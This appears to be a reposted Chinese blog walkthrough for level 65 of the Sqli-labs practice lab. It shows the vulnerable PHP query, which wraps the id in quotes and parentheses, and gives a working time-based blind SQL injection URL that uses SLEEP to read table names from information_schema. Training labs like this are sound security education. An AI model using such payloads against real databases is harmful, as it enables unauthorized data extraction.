码迷,mamicode.com
首页 > 数据库 > 详细

Sqli-labs less 65

时间:2016-08-11 19:23:28      阅读:198      评论:0      收藏:0      [点我收藏+]

标签:

Less-65

 

$id = ‘"‘.$id.‘"‘;

// Querry DB to get the correct output

$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

 

此处对id进行了  “” ()  的处理,构造payload时应该注意。这里给出示例payload:

http://127.0.0.1/sqli-labs/Less-65/?id=1%22)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))--+

 

Sqli-labs less 65

标签:

原文地址:http://www.cnblogs.com/lcamry/p/5762014.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!